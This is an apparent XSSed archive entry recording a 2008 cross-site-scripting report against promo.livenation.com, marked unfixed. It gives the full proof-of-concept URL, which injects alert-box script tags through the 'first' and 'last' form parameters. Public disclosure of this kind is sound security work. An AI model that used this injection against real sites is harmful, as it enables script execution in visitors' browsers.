Security researcher tenest, has submitted on 10/09/2008 a cross-site-scripting (XSS) vulnerability affecting promo.livenation.com, which at the time of submission ranked 3150 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 13/07/2009. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail.
Date submitted: 10/09/2008 Date published: 13/07/2009 Fixed? Mail us!Status:  UNFIXED
Author: tenest Domain: promo.livenation.com Category: XSS Pagerank: 3150
URL: http://promo.livenation.com/sweepstakes/floggingmolly/index.html?form_submit=true&first=%22%3E%3Cscr
ipt%3Ealert(/xssed/)%3C/script%3E%3C!--&last=--%3E%3Cscript%3Ealert(/xssed.again/)%3C/script%3E%3C!-
-&email=example%40example.com&phone=phone&zip=zip&month=1&day=1&year=1995&optin1=yes&optin2=yes&opti
n3=yes&optin4=yes&Submit=Submit+Query
Click here to view the mirror
Home | News | Articles | Advisories | Submit | Alerts | Links | What is XSS | About | Contact | Some Rights Reserved.